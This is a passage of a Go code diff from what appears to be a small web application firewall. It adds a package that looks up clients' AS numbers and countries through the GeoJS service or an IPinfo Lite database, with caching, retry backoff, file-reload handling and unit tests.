+	return reader, nil
+}

internal/lookup/file_internal_test.go

@@ -0,0 +1,379 @@
+package lookup
+
+import (
+	"context"
+	"log/slog"
+	"net/netip"
+	"net/url"
+	"os"
+	"path/filepath"
+	"reflect"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"github.com/fsnotify/fsnotify"
+	"github.com/maxmind/mmdbwriter/mmdbtype"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+)
+
+// testNetblock is the netblock the tests' lookup databases place, and
+// testClient a client in it.
+const (
+	testNetblock = "203.0.113.0/24"
+	testClient   = "203.0.113.9/32"
+)
+
+func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
+	t.Parallel()
+
+	germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
+	northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		testNetblock:    germany,
+		"2001:db8::/32": northKorea,
+	})
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+
+	f, err := OpenFile(FileParams{
+		Path:       path,
+		Now:        func() time.Time { return now },
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts:     newQueue(),
+	})
+	if err != nil {
+		t.Fatalf("open %s: %v", path, err)
+	}
+
+	for client, want := range map[string]lookuptest.Network{
+		testClient: germany,
+		// An IPv6 client is its /64.
+		"2001:db8:1:2::/64": northKorea,
+		"198.51.100.7/32":   {},
+	} {
+		prefix := netip.MustParsePrefix(client)
+
+		got := f.LookUp(prefix)
+		if got != (Answer{
+			Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
+			Answered: now,
+		}) {
+			t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
+		}
+	}
+}
+
+func TestRecordThatCannotBeReadPlacesTheClientNowhere(t *testing.T) {
+	t.Parallel()
+
+	// The AS number is a number, where a string belongs. The writer writes
+	// a record's fields in the order of their names, so as_name is read
+	// before the AS number fails.
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.WriteRecords(t, path, map[string]mmdbtype.Map{
+		testNetblock: {
+			"asn":          mmdbtype.Uint32(64496),
+			"as_name":      mmdbtype.String("Example Net"),
+			"country_code": mmdbtype.String("DE"),
+		},
+	})
+
+	f := openFile(t, path, newQueue())
+
+	answer := f.LookUp(netip.MustParsePrefix(testClient))
+	if answer.ASN != "" || answer.ASName != "" || answer.Country != "" {
+		t.Errorf("%s is placed %+v, want nowhere", testClient, answer)
+	}
+}
+
+func TestFileThatCannotBeReadIsAnError(t *testing.T) {
+	t.Parallel()
+
+	dir := t.TempDir()
+	missing := filepath.Join(dir, "missing.mmdb")
+	notDatabase := filepath.Join(dir, "not.mmdb")
+	writeFile(t, notDatabase, "not a lookup database\n")
+
+	for path, want := range map[string]string{
+		missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing +
+			": no such file or directory",
+		notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase +
+			" is not a .mmdb file: error opening database: invalid MaxMind DB file",
+	} {
+		_, err := OpenFile(FileParams{
+			Path:       path,
+			Now:        time.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Alerts:     newQueue(),
+		})
+		if err == nil || err.Error() != want {
+			t.Errorf("opening %s failed with %v, want %s", path, err, want)
+		}
+	}
+}
+
+// The tests below run readAfterChanges in a synctest bubble, where time is
+// a clock of the test's own: time.Sleep moves it on at once, and
+// synctest.Wait returns once readAfterChanges waits again, so that every
+// reading due by then is done. The test sends the changes itself, as the
+// watch of a directory cannot run in a bubble.
+
+func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		dir := t.TempDir()
+		path := filepath.Join(dir, "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		queue := newQueue()
+		f := openFile(t, path, queue)
+		changes := watch(t, f)
+
+		other := filepath.Join(dir, "replacement.mmdb")
+		writeDatabase(t, other, "KP")
+
+		replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
+		if err != nil {
+			t.Fatalf("read %s: %v", other, err)
+		}
+
+		// The file in use is overwritten in place, and keeps giving what
+		// it gave. Its first part alone is not a .mmdb file.
+		file, err := os.Create(path) //nolint:gosec // a file the test wrote
+		if err != nil {
+			t.Fatalf("create %s: %v", path, err)
+		}
+
+		defer func() {
+			_ = file.Close()
+		}()
+
+		half := len(replacement) / 2
+		write(t, file, replacement[:half])
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		time.Sleep(quietTime - time.Nanosecond)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		// The second part starts the wait again.
+		write(t, file, replacement[half:])
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		time.Sleep(quietTime - time.Nanosecond)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantCountry(t, f, "KP")
+
+		if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
+			t.Errorf("read at %s, with %d failures; want read now, with none",
+				f.LastRead(), f.ReadFailures())
+		}
+
+		wantAlerts(t, queue)
+	})
+}
+
+func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		queue := newQueue()
+		f := openFile(t, path, queue)
+		read := f.LastRead()
+		changes := watch(t, f)
+
+		writeFile(t, path, "not a lookup database\n")
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		// Long after, the replacement has been read once.
+		time.Sleep(time.Hour)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
+			t.Errorf("read at %s, with %d failures; want read at %s, with one",
+				f.LastRead(), f.ReadFailures(), read)
+		}
+
+		wantAlerts(t, queue, alerts.Alert{
+			Time:   read.Add(quietTime),
+			Event:  alerts.EventFileError,
+			Reason: "the lookup database cannot be read, and the one read before stays in use",
+			Detail: map[string]any{
+				"file": path,
+				"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
+					"error opening database: invalid MaxMind DB file",
+			},
+		})
+	})
+}
+
+func TestChangeOfAnotherFileInTheDirectoryIsNoReplacement(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		dir := t.TempDir()
+		path := filepath.Join(dir, "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		f := openFile(t, path, newQueue())
+		changes := watch(t, f)
+
+		// The wait that starts with the watch ends with a reading.
+		time.Sleep(quietTime)
+		synctest.Wait()
+		writeDatabase(t, path, "KP")
+
+		changes <- fsnotify.Event{Name: filepath.Join(dir, "other.mmdb"), Op: fsnotify.Create}
+
+		time.Sleep(quietTime)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		time.Sleep(quietTime)
+		synctest.Wait()
+		wantCountry(t, f, "KP")
+	})
+}
+
+func TestReplacementSavedBeforeTheWatchStartsIsRead(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		f := openFile(t, path, newQueue())
+
+		// Saved after OpenFile read the file, and before its directory was
+		// watched, so that no change is seen for it.
+		writeDatabase(t, path, "KP")
+		watch(t, f)
+		time.Sleep(quietTime)
+		synctest.Wait()
+		wantCountry(t, f, "KP")
+	})
+}
+
+// newQueue returns a queue of alerts for a webhook that is never sent
+// them, so that they wait in it for the test to look at.
+func newQueue() *alerts.Queue {
+	return alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   15 * time.Minute,
+		Now:        time.Now,
+	})
+}
+
+// writeDatabase writes a lookup database at path that places testNetblock
+// in country, and no other address.
+func writeDatabase(t *testing.T, path, country string) {
+	t.Helper()
+
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
+	})
+}
+
+// openFile opens the lookup database at path, which raises its alerts to
+// queue.
+func openFile(t *testing.T, path string, queue *alerts.Queue) *File {
+	t.Helper()
+
+	f, err := OpenFile(FileParams{
+		Path:       path,
+		Now:        time.Now,
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts:     queue,
+	})
+	if err != nil {
+		t.Fatalf("open %s: %v", path, err)
+	}
+
+	return f
+}
+
+// watch runs f's readAfterChanges until the test ends, and returns the
+// channel that sends it changes.
+func watch(t *testing.T, f *File) chan<- fsnotify.Event {
+	t.Helper()
+
+	changes := make(chan fsnotify.Event)
+	ctx, stop := context.WithCancel(t.Context())
+	stopped := make(chan struct{})
+
+	go func() {
+		f.readAfterChanges(ctx, changes, nil)
+		close(stopped)
+	}()
+
+	t.Cleanup(func() {
+		stop()
+		<-stopped
+	})
+
+	return changes
+}
+
+// wantCountry checks the country f gives testClient.
+func wantCountry(t *testing.T, f *File, want string) {
+	t.Helper()
+
+	got := f.LookUp(netip.MustParsePrefix(testClient)).Country
+	if got != want {
+		t.Errorf("%s is in %q, want %q", testClient, got, want)
+	}
+}
+
+// wantAlerts checks the alerts waiting in queue, and that it held none
+// back.
+func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
+	t.Helper()
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
+		t.Errorf("alerts waiting %+v, want %+v", waiting, want)
+	}
+
+	if queue.Suppressed() != 0 {
+		t.Errorf("%d alerts held back, want none", queue.Suppressed())
+	}
+}
+
+// writeFile writes content to the file at path.
+func writeFile(t *testing.T, path, content string) {
+	t.Helper()
+
+	err := os.WriteFile(path, []byte(content), 0o600)
+	if err != nil {
+		t.Fatalf("write %s: %v", path, err)
+	}
+}
+
+// write writes data to the end of file.
+func write(t *testing.T, file *os.File, data []byte) {
+	t.Helper()
+
+	_, err := file.Write(data)
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+}

internal/lookup/lookup.go

@@ -0,0 +1,540 @@
+// Package lookup looks up each client's AS number and country, through
+// the GeoJS web service or in the lookup database, the IPinfo Lite file
+// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
+// most 100,000 clients and for 7 days each, and are written to
+// lookups.json and read from it by the state package.
+package lookup
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+)
+
+// URL is GeoJS's endpoint for an address's place and network. Asked about
+// several addresses at once, comma separated in its ip parameter, it
+// answers with a list.
+const URL = "https://get.geojs.io/v1/ip/geo.json"
+
+const (
+	// keepFor is how long an answer is used instead of asking GeoJS again.
+	keepFor = 7 * 24 * time.Hour
+	// maxAnswers is how many answers are kept. Past it, the one used
+	// longest ago is dropped.
+	maxAnswers = 100000
+	// maxWaiting is how many clients may wait to be asked about. Past it,
+	// a new client counts as not found and is not asked about until there
+	// is room, so that a swarm of new addresses while GeoJS is down cannot
+	// fill the memory.
+	maxWaiting = 10000
+	// maxPerRequest is how many addresses one request to GeoJS asks about.
+	maxPerRequest = 200
+	// unknownASN is the AS number GeoJS gives when it knows none.
+	unknownASN = 64512
+	// After a failure GeoJS is not asked again for a second, and for
+	// retryDelayFactor times as long after each further failure in a row,
+	// up to five minutes.
+	firstRetryDelay  = time.Second
+	retryDelayFactor = 2
+	maxRetryDelay    = 5 * time.Minute
+	// maxResponseBytes is the most of GeoJS's answer that is read.
+	maxResponseBytes = 1 << 20
+)
+
+var (
+	errStatus  = errors.New("GeoJS answered")
+	errLeftOut = errors.New("GeoJS's answer left out")
+)
+
+// Params are what New needs.
+type Params struct {
+	// URL is where GeoJS is asked, normally URL.
+	URL string
+	// Timeout is how long a request waits for its client's first answer,
+	// and how long a request to GeoJS may take before it is abandoned
+	// (SWWAF_LOOKUP_TIMEOUT).
+	Timeout time.Duration
+	// Wait is true when a setting needs each request's answer before the
+	// request goes on. Otherwise no request waits for one.
+	Wait bool
+	// Answered, unless nil, is given each answer GeoJS gives, once it is
+	// kept.
+	Answered func(Answer)
+	// Now tells the time, normally time.Now.
+	Now func() time.Time
+	// ProcessLog receives GeoJS's failures.
+	ProcessLog *slog.Logger
+	// Metrics count the requests to GeoJS, those that failed, and the
+	// clients that go without an answer.
+	Metrics *metrics.Metrics
+	// Alerts receive a source_failure alert each time GeoJS fails.
+	Alerts *alerts.Queue
+}
+
+// GeoJS looks up clients' AS numbers and countries through GeoJS. At most
+// one request to GeoJS is under way at a time, and it asks about every
+// client waiting, up to maxPerRequest. It is safe for concurrent use.
+type GeoJS struct {
+	url        string
+	timeout    time.Duration
+	wait       bool
+	answered   func(Answer)
+	now        func() time.Time
+	processLog *slog.Logger
+	metrics    *metrics.Metrics
+	alerts     *alerts.Queue
+	// httpClient follows no redirect, so that visitors' addresses go to
+	// GeoJS alone: a redirect is a failure.
+	httpClient *http.Client
+
+	mu      sync.Mutex
+	answers *simplelru.LRU[netip.Prefix, *Answer]
+	// waiting are the clients without an answer: those to ask GeoJS about,
+	// and those it is being asked about.
+	waiting map[netip.Prefix]*wait
+	// asking is true while a request to GeoJS is under way.
+	asking bool
+	// retryDelay is how long GeoJS is left alone after its last failure,
+	// zero after an answer; retryAt is when it may be asked again.
+	retryDelay time.Duration
+	retryAt    time.Time
+}
+
+// Answer is what GeoJS or the lookup database said about a client: its AS
+// number, such as AS64496, and the AS's name, both "" when the source knows
+// no AS number for it; its country, "" when the source cannot place it;
+// when the source said so; and, for GeoJS's answers, which lookups.json
+// holds, when the answer was last used. The zero Answer is that of a
+// client with no answer.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Answer struct {
+	Client   netip.Prefix `json:"client"`
+	ASN      string       `json:"asn"`
+	ASName   string       `json:"as_name"`
+	Country  string       `json:"country"`
+	Answered time.Time    `json:"answered"`
+	Used     time.Time    `json:"used"`
+}
+
+// wait is a client waiting for its answer.
+type wait struct {
+	// asked is closed when the client gets its answer, and closed and
+	// replaced each time GeoJS fails before then.
+	asked chan struct{}
+	// late is true once the client has gone without an answer, for a
+	// whole timeout or because GeoJS failed: its requests no longer wait.
+	late bool
+}
+
+// New returns a GeoJS with no answer kept yet.
+func New(params Params) *GeoJS {
+	answers, err := simplelru.NewLRU[netip.Prefix, *Answer](maxAnswers, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &GeoJS{
+		url:        params.URL,
+		timeout:    params.Timeout,
+		wait:       params.Wait,
+		answered:   params.Answered,
+		now:        params.Now,
+		processLog: params.ProcessLog,
+		metrics:    params.Metrics,
+		alerts:     params.Alerts,
+		httpClient: &http.Client{
+			CheckRedirect: func(*http.Request, []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		answers: answers,
+		waiting: map[netip.Prefix]*wait{},
+	}
+}
+
+// LookUp returns the answer GeoJS gave about client, with its country as
+// a two-letter code in capitals, or the zero Answer when there is none
+// yet. An answer is kept for 7 days. Without one, the client is asked
+// about in the background, and, while Wait is set, the request waits up
+// to Timeout for the answer, unless the client has gone without one
+// before. ctx is the context of the client's request, and ends the wait
+// when it ends.
+//
+// GeoJS is asked about the client's first address, which is the client's
+// own address for IPv4, and an address in the same place for an IPv6
+// netblock.
+func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
+	answer, asked := g.answerOrWait(ctx, client, g.wait)
+	if asked == nil {
+		return answer
+	}
+
+	timer := time.NewTimer(g.timeout)
+	defer timer.Stop()
+
+	select {
+	case <-asked:
+	case <-timer.C:
+	case <-ctx.Done():
+	}
+
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	answer, found := g.kept(client)
+	if !found {
+		g.metrics.GeoJSUnanswered.Inc()
+	}
+
+	w, waiting := g.waiting[client]
+	if !found && waiting {
+		w.late = true
+	}
+
+	return answer
+}
+
+// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
+// whatever Wait says: it returns the zero Answer at once when none is kept.
+func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
+	answer, _ := g.answerOrWait(ctx, client, false)
+
+	return answer
+}
+
+// Kept returns client's answer, if one is kept, without asking GeoJS.
+func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	return g.kept(client)
+}
+
+// Snapshot returns every answer kept, sorted by client, as lookups.json
+// lists them.
+func (g *GeoJS) Snapshot() []Answer {
+	g.mu.Lock()
+
+	answers := make([]Answer, 0, g.answers.Len())
+	for _, kept := range g.answers.Values() {
+		answers = append(answers, *kept)
+	}
+
+	g.mu.Unlock()
+
+	slices.SortFunc(answers, func(a, b Answer) int {
+		return a.Client.Compare(b.Client)
+	})
+
+	return answers
+}
+
+// Load keeps answers read from lookups.json, in place of the answers it
+// keeps, in the order they were last used, so that the one used longest
+// ago is dropped first. Answers GeoJS gave keepFor ago or more are
+// dropped.
+func (g *GeoJS) Load(answers []Answer) {
+	answers = slices.Clone(answers)
+	slices.SortStableFunc(answers, func(a, b Answer) int {
+		return a.Used.Compare(b.Used)
+	})
+
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	g.answers.Purge()
+
+	now := g.now()
+
+	for _, answer := range answers {
+		if now.Sub(answer.Answered) < keepFor {
+			g.answers.Add(answer.Client, &answer)
+		}
+	}
+}
+
+// answerOrWait returns client's kept answer if it has one. Otherwise it
+// puts the client among those waiting if there is room, has GeoJS asked
+// about them if it can be, and returns what to wait on for the answer, or
+// nil when there is nothing to wait for or mustWait is false.
+func (g *GeoJS) answerOrWait(
+	ctx context.Context, client netip.Prefix, mustWait bool,
+) (Answer, <-chan struct{}) {
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	answer, found := g.kept(client)
+	if found {
+		return answer, nil
+	}
+
+	w, waiting := g.waiting[client]
+	if !waiting && len(g.waiting) < maxWaiting {
+		w = &wait{asked: make(chan struct{})}
+		g.waiting[client] = w
+	}
+
+	g.ask(ctx)
+
+	if !mustWait {
+		return Answer{}, nil // the answer is not needed before the request goes on
+	}
+
+	if w == nil {
+		g.metrics.GeoJSUnanswered.Inc()
+
+		return Answer{}, nil // too many clients wait already
+	}
+
+	if !g.asking {
+		// GeoJS is left alone after a failure, so no answer can come.
+		w.late = true
+	}
+
+	if w.late {
+		g.metrics.GeoJSUnanswered.Inc()
+
+		return Answer{}, nil
+	}
+
+	return Answer{}, w.asked
+}
+
+// kept returns client's answer, if GeoJS gave it less than keepFor ago,
+// and notes that it was used.
+func (g *GeoJS) kept(client netip.Prefix) (Answer, bool) {
+	now := g.now()
+
+	kept, found := g.answers.Get(client)
+	if !found || now.Sub(kept.Answered) >= keepFor {
+		return Answer{}, false
+	}
+
+	kept.Used = now
+
+	return *kept, true
+}
+
+// ask starts asking GeoJS about the waiting clients, unless a request to
+// it is under way or it is left alone after a failure. The requests to
+// GeoJS are for every client waiting, so they go on when the client's
+// request whose ctx is given ends.
+func (g *GeoJS) ask(ctx context.Context) {
+	if g.asking || g.now().Before(g.retryAt) {
+		return
+	}
+
+	g.asking = true
+
+	go g.askAboutWaiting(context.WithoutCancel(ctx))
+}
+
+// askAboutWaiting asks GeoJS about the waiting clients, one request at a
+// time, until none is left or GeoJS fails. Each answer kept is given to
+// Answered, outside the lock, since Answered takes locks of its own.
+func (g *GeoJS) askAboutWaiting(ctx context.Context) {
+	for {
+		clients := g.nextClients()
+		if len(clients) == 0 {
+			return
+		}
+
+		given, err := g.request(ctx, clients)
+		kept, answered := g.keep(clients, given, err)
+
+		if g.answered != nil {
+			for _, answer := range kept {
+				g.answered(answer)
+			}
+		}
+
+		if !answered {
+			return
+		}
+	}
+}
+
+// nextClients returns up to maxPerRequest of the waiting clients. When
+// none is waiting, it returns none and notes that no request to GeoJS is
+// under way.
+func (g *GeoJS) nextClients() []netip.Prefix {
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	if len(g.waiting) == 0 {
+		g.asking = false
+
+		return nil
+	}
+
+	clients := make([]netip.Prefix, 0, min(len(g.waiting), maxPerRequest))
+
+	for client := range g.waiting {
+		if len(clients) == maxPerRequest {
+			break
+		}
+
+		clients = append(clients, client)
+	}
+
+	return clients
+}
+
+// keep notes how a request to GeoJS about clients ended, given being the
+// answer for each address GeoJS's answer names. It returns the answers it
+// kept, and reports whether GeoJS answered about all of the clients. Each
+// client whose address GeoJS's answer names gets its answer. An answer
+// that leaves an address out is a failure. After a failure GeoJS is left
+// alone for a while, and every client still waiting stops waiting and is
+// asked about once GeoJS is asked again.
+func (g *GeoJS) keep(
+	clients []netip.Prefix, given map[netip.Addr]Answer, err error,
+) ([]Answer, bool) {
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	now := g.now()
+	kept := make([]Answer, 0, len(clients))
+	leftOut := 0
+
+	for _, client := range clients {
+		answer, named := given[client.Addr()]
+		if !named {
+			leftOut++
+
+			continue
+		}
+
+		answer.Client, answer.Answered, answer.Used = client, now, now
+		g.answers.Add(client, &answer)
+		kept = append(kept, answer)
+
+		close(g.waiting[client].asked)
+		delete(g.waiting, client)
+	}
+
+	if err == nil && leftOut > 0 {
+		err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
+	}
+
+	if err != nil {
+		g.metrics.GeoJSFailures.Inc()
+
+		g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
+			maxRetryDelay)
+		g.retryAt = now.Add(g.retryDelay)
+		g.asking = false
+
+		for _, w := range g.waiting {
+			close(w.asked)
+
+			w.asked = make(chan struct{})
+			w.late = true
+		}
+
+		g.processLog.Warn("asking GeoJS failed",
+			"error", err.Error(), "asking_again_in", g.retryDelay.String())
+		g.alerts.Raise(alerts.Alert{
+			Event:  alerts.EventSourceFailure,
+			Reason: "asking GeoJS failed",
+			Detail: map[string]any{
+				"source": "geojs", "error": err.Error(),
+				"asking_again_in": g.retryDelay.String(),
+			},
+		})
+
+		return kept, false
+	}
+
+	g.retryDelay = 0
+
+	return kept, true
+}
+
+// request asks GeoJS about clients in one request, and returns the answer
+// for each address GeoJS's answer names: its AS number and the AS's name,
+// both "" for the AS number 64512, which GeoJS gives when it knows none,
+// and its country, in capitals.
+func (g *GeoJS) request(
+	ctx context.Context, clients []netip.Prefix,
+) (map[netip.Addr]Answer, error) {
+	addrs := make([]string, 0, len(clients))
+
+	for _, client := range clients {
+		addrs = append(addrs, client.Addr().String())
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, g.timeout)
+	defer cancel()
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
+	if err != nil {
+		return nil, fmt.Errorf("make the request to GeoJS: %w", err)
+	}
+
+	req.URL.RawQuery = "ip=" + strings.Join(addrs, ",")
+
+	g.metrics.GeoJSRequests.Inc()
+
+	res, err := g.httpClient.Do(req)
+	if err != nil {
+		// Do's error names the URL, and so the visitors' addresses, which
+		// are not to be logged: only what went wrong is kept.
+		return nil, fmt.Errorf("ask GeoJS: %w", errors.Unwrap(err))
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	if res.StatusCode != http.StatusOK {
+		return nil, fmt.Errorf("%w %s", errStatus, res.Status)
+	}
+
+	//nolint:tagliatelle // GeoJS's own names
+	var answers []struct {
+		IP          string `json:"ip"`
+		ASN         int64  `json:"asn"`
+		ASName      string `json:"organization_name"`
+		CountryCode string `json:"country_code"`
+	}
+
+	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
+	if err != nil {
+		return nil, fmt.Errorf("read GeoJS's answer: %w", err)
+	}
+
+	given := make(map[netip.Addr]Answer, len(answers))
+
+	for _, item := range answers {
+		addr, err := netip.ParseAddr(item.IP)
+		if err != nil {
+			continue
+		}
+
+		answer := Answer{Country: strings.ToUpper(item.CountryCode)}
+		if item.ASN != 0 && item.ASN != unknownASN {
+			answer.ASN = "AS" + strconv.FormatInt(item.ASN, 10)
+			answer.ASName = item.ASName
+		}
+
+		given[addr] = answer
+	}
+
+	return given, nil
+}

internal/lookup/lookup_test.go

@@ -0,0 +1,895 @@
+package lookup_test
+
+import (
+	"encoding/json"
+	"log/slog"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"net/url"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"github.com/prometheus/client_golang/prometheus/testutil"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+)
+
+const (
+	// germany is where the stand-in for GeoJS places every address but
+	// unplaced, and asNumber, kept as asn, and asName the AS it gives them.
+	germany  = "DE"
+	asNumber = 64496
+	asn      = "AS64496"
+	asName   = "Example Net"
+	// unplaced is the address it cannot place, for which it gives the AS
+	// number 64512 and the AS name Unknown, as GeoJS does.
+	unplaced = "192.0.2.1"
+	// leftOut is the address it leaves out of its answer when
+	// answeringWithoutLeftOut.
+	leftOut = "203.0.113.7"
+	// timeout is how long a new client waits for its answer.
+	timeout = time.Second
+	// week is how long an answer is kept.
+	week = 7 * 24 * time.Hour
+)
+
+// The tests that have GeoJS asked run in a synctest bubble, where the time
+// package runs on a clock of the test's own: a wait lasts exactly as long
+// as it should, however slowly the test process runs, and synctest.Wait
+// returns once g has done all it can before time passes. The stand-in for
+// GeoJS answers without the network, since a request waiting on the
+// network would keep that clock from moving on.
+
+func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		placed := netip.MustParsePrefix("203.0.113.9/32")
+		notPlaced := netip.MustParsePrefix(unplaced + "/32")
+
+		wantCountry(t, g, placed, germany)
+		wantCountry(t, g, notPlaced, "")
+		wantRequests(t, geojs, 2)
+
+		// An answer without a country is kept too.
+		clock.advance(week - time.Second)
+		wantCountry(t, g, placed, germany)
+		wantCountry(t, g, notPlaced, "")
+		wantRequests(t, geojs, 2)
+
+		clock.advance(time.Second)
+		wantCountry(t, g, placed, germany)
+		wantRequests(t, geojs, 3)
+		wantAsked(t, geojs, 2, "203.0.113.9")
+	})
+}
+
+func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		client := netip.MustParsePrefix("203.0.113.9/32")
+
+		// Wait is set, and GeoJS does not answer.
+		geojs.set(hanging)
+
+		began := time.Now()
+		answer := g.LookUpWithoutWaiting(t.Context(), client)
+
+		if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
+			t.Errorf("got %+v after %s, want no answer at once", answer, waited)
+		}
+
+		waitForRequests(t, geojs, 1)
+		wantAsked(t, geojs, 0, "203.0.113.9")
+
+		// That request is abandoned, and has failed once this returns. GeoJS
+		// answers when it is asked again, and the answer is kept.
+		time.Sleep(timeout)
+		synctest.Wait()
+		geojs.set(answering)
+		waitForCountry(t, g, clock, client, germany)
+
+		if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
+			t.Errorf("the kept answer gives the country %q, want %q", got, germany)
+		}
+	})
+}
+
+func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		client := netip.MustParsePrefix("203.0.113.9/32")
+
+		// The client comes while GeoJS is asked about an earlier client, which
+		// it answers most of a second later. It is then asked about the client
+		// and does not answer: that request is abandoned a second after it
+		// began, well after the client's wait is over.
+		geojs.set(answeringSlowly)
+
+		var earlier sync.WaitGroup
+
+		earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
+		defer earlier.Wait()
+
+		waitForRequests(t, geojs, 1)
+		geojs.set(hanging)
+
+		began := time.Now()
+
+		wantCountry(t, g, client, "")
+
+		took := time.Since(began)
+		if took != timeout {
+			t.Errorf("waited %s for the answer, want %s", took, timeout)
+		}
+
+		// Its next request does not wait.
+		began = time.Now()
+
+		wantCountry(t, g, client, "")
+
+		took = time.Since(began)
+		if took != 0 {
+			t.Errorf("waited %s again, want no wait", took)
+		}
+
+		// Once GeoJS answers, the client is asked about again in the
+		// background, and has its country.
+		geojs.set(answering)
+		waitForCountry(t, g, clock, client, germany)
+	})
+}
+
+func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// A timeout longer than the default, and a GeoJS that does not
+		// answer.
+		const longerTimeout = 3 * time.Second
+
+		m := metrics.New(1, "app")
